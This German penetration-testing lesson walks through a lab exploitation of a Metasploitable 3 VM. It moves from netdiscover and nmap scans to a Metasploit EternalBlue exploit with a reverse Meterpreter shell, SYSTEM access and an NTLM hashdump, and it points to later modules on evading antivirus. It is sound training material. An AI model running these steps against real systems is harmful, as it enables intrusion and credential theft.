Zum Hauptinhalt springen

Einführung und Kali — Geführte Demonstration

Wir hören mit der Theorie auf. Wir bauen das Labor auf, scannen, erlangen eine Shell. Sie werden mit eigenen Augen sehen, wie die erste Maschine fällt. Danach machen Sie es im Workshop selbst nach.

Erinnerung — nur in einem geschlossenen Labor

Alle Befehle dieser Lektion werden zwischen zwei VMs auf Ihrem Rechner ausgeführt, in einem vom Internet und LAN isolierten Netzwerk. Keiner von ihnen darf nach außen gelangen. Wenn Sie die Isolierung nicht garantieren können, halten Sie hier an und lesen Sie zuerst den Abschnitt „Isoliertes Netzwerk“ weiter unten.

Was Sie nach dieser Lektion können werden​

  • In dreißig Minuten ein Labor aus Angreifer + Opfer aufbauen.
  • Das Opfer entdecken, ohne seine IP im Voraus zu kennen.
  • Die Ausgabe von nmap ohne zu raten lesen — wissen, was jede Spalte bedeutet.
  • Mit Metasploit eine erste Shell über eine historische Lücke erlangen (EternalBlue, MS17-010).
  • Verstehen, wie ein im Bericht verwendbarer Beweis aussieht.

Der Rahmen​

Zwei VMs, eine einzige Regel: Sie sprechen nur miteinander.

MaschineRolleAdresse im Labor
Kali LinuxAngreiferrechner. Das sind Sie.10.10.10.5
Metasploitable 3 (Windows)Absichtlich verwundbares Ziel.Anfangs unbekannt, irgendwo in 10.10.10.0/24.

Metasploitable 3 ist die offizielle, von Rapid7 (dem Herausgeber von Metasploit) veröffentlichte Trainingsmaschine. Sie ist dafür gemacht, zerstört zu werden. Sie können auch ein ungepatchtes Windows 7 mit aktiviertem SMBv1 verwenden.


Schritt 0 — Das isolierte Netzwerk (unverzichtbar)​

In VirtualBox: File → Host Network Manager → Create. Aktivieren Sie DHCP disabled, setzen Sie den Host auf 10.10.10.1/24.

In beiden VMs: Settings → Network → Adapter 1 → Host-only Adapter, das erstellte Netzwerk auswählen.

Überprüfung (auf Kali):

ip -brief address

Erwartete Ausgabe:

lo               UNKNOWN        127.0.0.1/8
eth0 UP 10.10.10.5/24

Ein ping 8.8.8.8 muss fehlschlagen:

From 10.10.10.5 icmp_seq=1 Destination Host Unreachable

Gut. Falls der Ping durchgeht, ist Ihr Labor nicht isoliert — korrigieren Sie das, bevor Sie fortfahren.


Schritt 1 — Das Ziel finden (ARP-Scan)​

Sie kennen die IP des Opfers nicht. Sie werden nicht danach fragen: Sie suchen sie.

sudo netdiscover -r 10.10.10.0/24 -P

Typische Ausgabe nach 20 Sekunden:

 Currently scanning: Finished!   |   Screen View: Unique Hosts

IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------
10.10.10.1 0a:00:27:00:00:0a 1 42 Cadmus Computer Systems
10.10.10.12 08:00:27:c3:5f:1e 1 42 PCS Systemtechnik GmbH

Lesart:

  • 10.10.10.1 ist Ihr VirtualBox-Host (zu ignorieren).
  • 10.10.10.12 ist das Ziel. Der Hersteller PCS Systemtechnik ist die Signatur von VirtualBox — es handelt sich tatsächlich um eine VM.

Notieren Sie sich die IP. Sie gehört Ihnen für den Rest der Lektion.

Definition — ARP, MAC, und warum netdiscover ohne Genehmigung funktioniert

In einem lokalen Netzwerk brauchen zwei Maschinen, die miteinander sprechen wollen, zwei Adressen. Die IP-Adresse gehört dem Internetprotokoll, hier 10.10.10.12. Die MAC-Adresse, in die Netzwerkkarte eingebrannt, gehört dem physischen Medium, hier 08:00:27:c3:5f:1e. IP sagt an wen, MAC sagt auf welchem Weg.

Wie wird die eine in die andere übersetzt? Das ist die Aufgabe des ARP-Protokolls, Address Resolution Protocol. Wenn Kali ein Paket an 10.10.10.12 senden will, aber dessen MAC noch nicht kennt, sendet es an das gesamte Netzwerk die Frage „wer hat 10.10.10.12?“. Die betroffene Maschine antwortet mit ihrer MAC; Kali merkt sich die Zuordnung einige Minuten lang in seinem Cache.

netdiscover nutzt genau diesen Mechanismus, indem es den Bereich 10.10.10.0/24 mit ARP-Anfragen abtastet. Das ist extrem unauffällig auf Log-Ebene — die meisten Systeme protokollieren ARP-Anfragen nicht —, es überquert keine Router, und es funktioniert selbst dann, wenn eine Firewall Ping blockiert. Andererseits hilft es nicht mehr, sobald man das gleiche Netzwerksegment verlässt: Jenseits des Routers ist man wieder auf einen klassischen IP-Scan angewiesen.


Schritt 2 — Ports scannen (nmap)​

Starten Sie nicht direkt mit einem nmap -A --script=vuln 10.10.10.12. Wir gehen in Schichten vor, vom diskretesten zum lautesten.

2a. Offene Ports, nichts weiter​

nmap -sS -Pn -p- --min-rate 2000 10.10.10.12 -oN scan-ports.txt
  • -sS: SYN-Scan. Wir senden das erste TCP-Paket, lesen die Antwort, beenden den Handshake nicht. Schnell, weniger Spuren als ein vollständiger Scan.
  • -Pn: nicht zuerst pingen — das Ziel könnte ICMP ignorieren.
  • -p-: alle 65.535 Ports, nicht nur die standardmäßigen 1000.
  • --min-rate 2000: etwas beschleunigen (in der Produktion nicht zu tun).
  • -oN: lesbare Ausgabe in einer Datei, für Ihren Bericht.
Definition — der TCP-Handshake, und warum der SYN-Scan ihn abkürzt

Eine normale TCP-Verbindung wird in drei Austauschen geöffnet, dem Drei-Wege-Handshake. Der Client sendet ein mit SYN markiertes Paket, synchronisiere; der Server antwortet mit SYN-ACK, synchronisiert und ich bestätige den Empfang; der Client schließt mit ACK ab, empfangen. Die Verbindung ist offen, Daten können fließen.

Der SYN-Scan von Nmap, auch halboffen genannt, sendet das erste SYN und beobachtet dann die Antwort. Ist der Port offen, erhält er SYN-ACK: Er schließt daraus, dass jemand lauscht, und bricht die Verbindung mit einem RST ab, statt des erwarteten ACK. Ist der Port geschlossen, erhält er direkt RST. Blockiert eine Firewall, erhält er nichts.

Zwei praktische Folgen. Da die Verbindung nicht abgeschlossen wird, erscheint sie oft nicht in den Logs der Zielanwendung — nur der Kernel des Systems sieht sie vorbeiziehen. Und der Scan ist schnell, weil man sich das dritte Paket und den Verbindungsabbau spart. Es ist der Standard-Scan, sobald man root-Rechte hat, gerade weil man root braucht, um halbfertige TCP-Pakete zu fälschen.

Auszug aus der Ausgabe:

PORT      STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
4848/tcp open appserv-http
8080/tcp open http-proxy

Lesart:

  • 22, 80, 3389: SSH, Web, RDP — das klassische Trio.
  • 445 + 139: Windows-Dateifreigabe (SMB). Das ist der Port, der uns interessiert. SMB ist historisch eine Goldgrube für Schwachstellen.
  • 3306: MySQL exponiert. Für später notieren.

2b. Versionen der Dienste​

Jetzt bitten wir jeden Dienst, sich vorzustellen:

nmap -sV -p 22,80,135,139,445,3389,8080 10.10.10.12 -oN scan-versions.txt

Wichtiger Auszug:

PORT    STATE SERVICE       VERSION
80/tcp open http Microsoft IIS httpd 7.5
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

Übersetzung: Windows Server 2008 R2 mit SMB im Lauschmodus. Windows Server 2008 R2 = Veröffentlichungsdatum 2009 = Volltreffer. Ein Betriebssystem dieser Generation ist, wenn es nicht gepatcht wurde, verwundbar für MS17-010 (Exploit-Name: EternalBlue), die durch das Shadow-Brokers-Leck von 2017 veröffentlichte Lücke.

2c. Die Schwachstelle bestätigen (NSE-Skript)​

nmap --script smb-vuln-ms17-010 -p 445 10.10.10.12

Erwartete Ausgabe:

| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143

Das Wort VULNERABLE steht aus gutem Grund in Großbuchstaben. Die Maschine gehört uns. Es bleibt nur noch, zur Tat zu schreiten.


Schritt 3 — Die Kontrolle mit Metasploit übernehmen​

Metasploit ist ein Framework. Sie laden ein Modul (den Exploit), geben ihm seine Optionen (das Ziel), und starten.

Definition — Metasploit ist kein Werkzeug, es ist ein Rahmenwerk

Ein Werkzeug im engeren Sinn tut eine Sache. Nmap scannt, John the Ripper knackt Hashes, curl überträgt eine Datei. Metasploit tut allein gar nichts: Es ist ein Rahmenwerk, englisch Framework, das über zweitausend von Dritten geschriebene Angriffsmodule bündelt und bereitstellt, vom BSD-Kernel der 2000er-Jahre bis zum verwundbaren Log4Shell von 2021.

Der Nutzen des Rahmenwerks liegt nicht in der Menge, sondern in der Vereinheitlichung. Ob das Modul auf SMB unter Windows oder ein PHP-CMS zielt, Sie bedienen immer dieselben Befehle — use, show options, set, exploit. Sie wählen immer eine Payload aus derselben Liste. Sie verwalten Ihre offenen Sitzungen immer mit sessions -l. Diese Regelmäßigkeit, die für den Einsteiger unsichtbar ist, macht Metasploit unverzichtbar, sobald man den Einzel-Exploit verlässt und eine echte Mission durchzieht.

Zwei Grenzen sollte man kennen. Viele Antivirenprogramme erkennen unveränderte Metasploit-Payloads sofort, weil ihre Signaturen öffentlich und alt sind; Modul 8 zeigt, wie man sie verschleiert. Und ein Exploit, der manuell existiert, ist nicht immer in Metasploit verpackt — in diesem Fall führt man ihn von Hand aus, ohne über das Rahmenwerk zu gehen.

msfconsole -q

-q unterdrückt das ASCII-Banner (das jeder schon 500-mal gesehen hat).

In der Konsole msf6 >:

search ms17-010

Ausgabe:

   #  Name                                      Rank     Description
- ---- ---- -----------
0 exploit/windows/smb/ms17_010_eternalblue average MS17-010 EternalBlue
1 auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection

Wir nehmen Nr. 0:

use 0
show options

Metasploit zeigt die Parameter an. Nur drei müssen eingestellt werden:

set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
  • RHOSTS — das Opfer.
  • LHOST — Ihr Kali (dorthin verbindet sich die Shell zurück).
  • LPORT — der Lauschport bei Ihnen.
Definition — die Payload, der Loader, und warum die Verbindung vom Ziel ausgeht

Ein Exploit liest sich in zwei Teilen. Die Schwachstelle ist der Fehler, der es erlaubt, beliebigen Code auf dem Ziel auszuführen. Die Payload, die Nutzlast, ist dieser Code — das, was das Ziel tun wird, sobald man es dazu gebracht hat, irgendetwas auszuführen. Der erste verschafft Zutritt, der zweite entscheidet, was drinnen passiert.

Die Wahl von windows/x64/meterpreter/reverse_tcp verdient es, verstanden zu werden. windows/x64: Die Payload ist eine 64-Bit-Windows-Binärdatei. meterpreter: Es ist keine einfache Shell, sondern ein vollständiger, im Speicher geladener Agent, von dem weiter unten die Rede ist. reverse_tcp: Das Ziel öffnet eine ausgehende Verbindung zu Kali, statt auf eine eingehende zu warten. Das ist der praktische Kern des Modells: Die meisten Unternehmensfirewalls prüfen eingehenden Verkehr und lassen ausgehenden ohne genaues Hinsehen passieren, sodass eine Verbindung vom Ziel zu einem externen Server gute Chancen hat, durchzukommen.

Ein letztes nützliches Detail: sogenannte gestufte Payloads wie diese werden nicht in einem Block gesendet. Metasploit sendet zunächst ein kleines Programm, den Stager, dessen einzige Aufgabe darin besteht, Kali zu kontaktieren, um die eigentliche Payload — Meterpreter — herunterzuladen und in den Speicher zu laden. Das verringert die Größe des zunächst eingeschleusten Codes, was bei Exploits hilft, bei denen nur wenige hundert Byte zur Verfügung stehen.

Wir starten:

exploit

Ausgabe (die entscheidenden Zeilen):

[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.12:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.12:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.12:445 - Connecting to target for exploitation.
[+] 10.10.10.12:445 - Connection established for exploitation.
[*] 10.10.10.12:445 - Sending final SMBv1 buffers.
[*] 10.10.10.12:445 - Sending last fragment of exploit packet!
[*] 10.10.10.12:445 - Receiving response from exploit packet
[+] 10.10.10.12:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending stage (200262 bytes) to 10.10.10.12
[*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.12:49670)

meterpreter >

Dieses meterpreter > verändert alles. Sie sind drin.

Definition — Meterpreter, der Agent, den man nicht vorbeiziehen sieht

Meterpreter, eine Zusammenziehung von meta-interpreter, ist ein von Metasploit entworfener Angriffsagent. Er unterscheidet sich von einer gewöhnlichen Shell in drei Punkten, die es sich zu merken lohnt.

Er berührt niemals die Festplatte. Die Shell des Ziels öffnet sich, aber Meterpreter wird vollständig im Speicher geladen, innerhalb des bereits legitimen Prozesses, den der Exploit kompromittiert hat. Ein klassisches Antivirenprogramm, das das Dateisystem durchsucht, findet nichts.

Er spricht mit Kali ein verschlüsseltes Binärprotokoll, keine Klartextbefehle. Was Sie auf Angreiferseite eintippen, wird in Funktionsaufrufe übersetzt; was das Ziel zurückgibt, wird verpackt, bevor es übertragen wird. Ein Netzwerkanalyst, der den Verkehr mitschneidet, sieht einen verschlüsselten Strom, keine lesbaren Befehle.

Er bietet Fähigkeiten, die eine gewöhnliche Shell nicht hat — Bildschirmfoto, Dump der Systemhashes, Dateiübertragung, Migration zu einem anderen Prozess, Abhören des Mikrofons. Das sind einmal von den Autoren geschriebene Funktionen, verfügbar unabhängig vom Zielsystem, was die Konstanz des Vokabulars zwischen sehr unterschiedlichen Modulen erklärt.

Meterpreter ist alt und daher den Verteidigern bestens bekannt. Moderne EDRs wissen ihn zu erkennen, insbesondere wenn er zwischen Prozessen migriert oder bestimmte Systemaufrufe in schneller Folge tätigt. Deshalb zeigt Modul 8, wie man ihn tarnt, und deshalb ziehen professionelle Red Teams ihm oft neuere Agenten wie Sliver oder Havoc vor.


Schritt 4 — Bestätigen und den Beweis sichern​

Prüfen Sie, wer Sie sind:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM. Das höchste Konto unter Windows. Nicht Administrator: darüber. Sie sind das System selbst.

Prüfen Sie, wo Sie sind:

meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

Und sichern Sie einen Beweis, den Sie in den Bericht einfügen können:

meterpreter > screenshot
Screenshot saved to: /home/kali/gGpJKlmA.jpeg

Öffnen Sie die Datei: der Desktop des Opfers, mit Zeitstempel. Das ist Ihr Proof of Pwn.

Zum Spaß (und zur Veranschaulichung des Impacts):

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

Die NTLM-Hashes der lokalen Konten. Sie werden sie hier nicht knacken — das ist Gegenstand von Modul 9. Sie zu besitzen genügt für den Bericht.

Definition — der NTLM-Hash, was wir gerade erlangt haben

Ein Betriebssystem speichert Passwörter niemals im Klartext: Es speichert Hashes, das Ergebnis einer mathematischen Einwegfunktion, die auf das Passwort angewendet wird. Vom Hash aus kommt man nicht zum Passwort zurück; vom Passwort aus erhält man immer denselben Hash. Das erlaubt es, eine Eingabe zu prüfen, ohne jemals das Original zu behalten.

Windows verwendet den NTLM-Hash, abgeleitet vom Passwort über die MD4-Funktion. Jede Zeile der vorigen Ausgabe liest sich so:

Administrator : 500 : aad3b435b51404eeaad3b435b51404ee : e02bc503339d51f71d913c245d35b50b : : :

Der Name, die numerische Kennung des Kontos, der LM-Hash — veraltet, in modernen Konfigurationen mit Nullen gefüllt —, dann der eigentliche NT-Hash. Diese Hashes sind nicht gesalzen, was sie angreifbar macht durch vorberechnete Tabellen oder Brute Force, wie wir in Modul 9 sehen werden.

Zwei Eigenschaften sollte man sich schon heute merken. Dieser Hash genügt, um sich auf anderen Windows-Maschinen desselben Netzwerks als das Konto auszugeben, ohne jemals das Passwort kennen zu müssen: Das ist der Pass-the-Hash-Angriff. Und der Hash des lokalen Administrator-Kontos ist oft auf allen Maschinen eines Parks identisch, dessen Image geklont wurde — ein einziger gestohlener Hash kann also den gesamten Maschinenpark öffnen.

Sauber schließen:

meterpreter > exit
[*] Shutting down Meterpreter...

Was gerade passiert ist, als gedankliches Bild​

  1. Zwei VMs in einem geschlossenen Netzwerk.
  2. netdiscover hat das Ziel gefunden.
  3. nmap hat die offenen Türen aufgelistet, dann die dahinterliegenden Dienste.
  4. Ein nmap-Skript hat die ausnutzbare Lücke bezeichnet.
  5. Metasploit hat den Exploit geliefert und die Shell erlangt.
  6. In vier Befehlen sind Sie SYSTEM, mit Screenshots und Hashes.

Das ist genau die Sequenz, die wir bis zum Ende des Kurses dreizehnmal, in unterschiedlichen Varianten, wiederholen werden.


Wo es hakt, und warum​

  • netdiscover findet nichts. Ihre beiden VMs befinden sich nicht im selben Host-only-Netzwerk. Prüfen Sie die Einstellungen beider VMs.
  • nmap meldet überall filtered. Eine Firewall (Windows Defender Firewall) fängt ab. Deaktivieren Sie auf Metasploitable die Firewall der VM; auf einem echten Ziel wechseln Sie die Technik (Modul 4).
  • Der Exploit gibt Exploit aborted due to failure: no-target zurück. Das Ziel ist kein 2008 R2, oder SMBv1 ist deaktiviert. Wiederholen Sie nmap --script smb-vuln-ms17-010. Bei NOT VULNERABLE wechseln Sie die Lücke.
  • Die meterpreter-Sitzung stirbt nach 2 Sekunden. Antivirus. In diesem Modul: keiner. Auf einem echten Ziel greift man auf verschleierte Payloads zurück (Modul 8).

Sofort weitergehen​

Wiederholen Sie dieselbe Sequenz, aber mit der Variante:

nmap -A -p 445 10.10.10.12

-A kombiniert OS-Erkennung, Versionserkennung, Standardskripte und Traceroute. Das ist der laute Scan. Vergleichen Sie die Ausgabe mit dem Scan in Schichten — Sie werden sehen, dass dieselbe Information auf einen Schlag bei Ihnen ankommt, ein IDS sie aber von Weitem hätte kommen sehen.

Das ist die ganze Herausforderung des restlichen Kurses: dasselbe, aber unauffällig.